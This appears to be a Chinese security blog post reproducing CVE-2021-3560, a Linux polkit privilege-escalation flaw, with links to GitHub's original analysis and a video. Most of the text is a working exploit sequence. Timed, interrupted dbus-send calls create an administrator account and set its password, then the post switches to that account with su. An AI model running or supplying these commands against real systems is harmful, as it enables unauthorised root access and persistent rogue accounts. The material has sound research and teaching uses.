看到大佬的操作,连复现都没复现明白,还差点意思。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
#创建用户
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
#查看用户
id boris
#openssl生成密码hash值
openssl passwd -5 iaminvincible!
#为用户设置密码。注意string:''处填入上面openssl生成的hash值
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'' string:GoldenEye & sleep 0.008s ; kill $!
#切换用户
su - boris
原文复现及分析:
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
扒拉下来的视频:
原视频链接:
https://youtu.be/QZhz64yEd0g
本文始发于微信公众号(安全鸭):CVE-2021-3560 Linux polkit 提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论